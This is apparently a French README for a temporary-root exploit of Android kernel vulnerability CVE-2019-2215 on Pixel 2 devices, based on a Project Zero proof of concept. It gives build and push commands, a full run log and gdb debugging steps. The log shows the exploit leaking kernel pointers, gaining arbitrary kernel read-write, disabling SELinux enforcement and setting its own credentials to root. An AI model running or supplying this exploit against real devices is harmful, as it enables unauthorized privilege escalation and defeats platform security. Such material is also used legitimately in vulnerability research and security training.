
Temproot pour Pixel 2 et Pixel 2 XL via CVE-2019-2215
Basé sur une preuve de concept par Jann Horn & Maddie Stone de Google Project Zero
Remerciements particuliers à l'atelier de CloudFuzz pour m'avoir permis d'écrire cet exploit.
Merci également à kangtastic pour avoir fourni une autre source de référence.
Pour construire l'exploit :
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make
Pour construire l'exploit et le téléverser vers un appareil en cours d'exécution (en utilisant l'émulateur Android Studio) :
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Exemple d'utilisation :
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
[+] Allocating page
[+] Filling page with 'A's
[+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
[+] Allocating binder and epoll file descriptors
[+] Creating Pipe
[+] Constructing IOVEC stack
[+] Forking child process
[+] Allocating and linking binder_thread structure
[+] Freeing binder_thread structure
[+] Reallocating binder_thread structure as IOVECs
[+] CHILD Triggering unlink
[+] CHILD Reading 65536 'A's from pipe
[+] CHILD Exiting
[+] Reading leaked task_struct pointer
[+] Leaked task_struct pointer: 0xffff888010731b80
[+] Closing binder and epoll file descriptors
[+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
[+] Allocating binder and epoll file descriptors
[+] Creating socket
[+] Writing junk data to socket
[+] Constructing IOVEC stack
[+] Crafting socket input data
[+] Creating message header object
[+] Forking child process
[+] Allocating and linking binder_thread structure
[+] Freeing binder_thread structure
[+] Reallocating binder_thread structure as IOVECs
[+] CHILD Triggering unlink
[+] CHILD Reading 65536 'A's from pipe
[+] CHILD Exiting
[+] Verifying arbitrary R/W vector
[+] Opening kernel R/W pipe
[+] PID 7359 verified
[+] Closing binder and epoll file descriptors
[+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
[+] SELinux enforcing flag located at 0xffffffff816acfe8
[+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
[+] Copying nsproxy pointer from kernel-space
[+] init_nsproxy structure address: 0xffffffff81433ac0
[+] Kernel base address: 0xffffffff80200000
[+] init_cred structure address: 0xffffffff81433c30
[+] init_cred usage count: 0x2
[+] Setting init_cred usage count to: 0x3
[+] Setting task_struct credentials to init_cred
[+] New process UID: 0
[+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully
Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit
Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$
Pour déboguer l'exploit :
gdb -quiet ./path/to/dist/vmlinux -x commands.gdb
Notez que l'exécution de l'exploit pendant que gdb est connecté le rend très instable, donc ne connectez gdb que lorsque c'est nécessaire. Exemple de session de débogage :
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61 }
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61 }
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.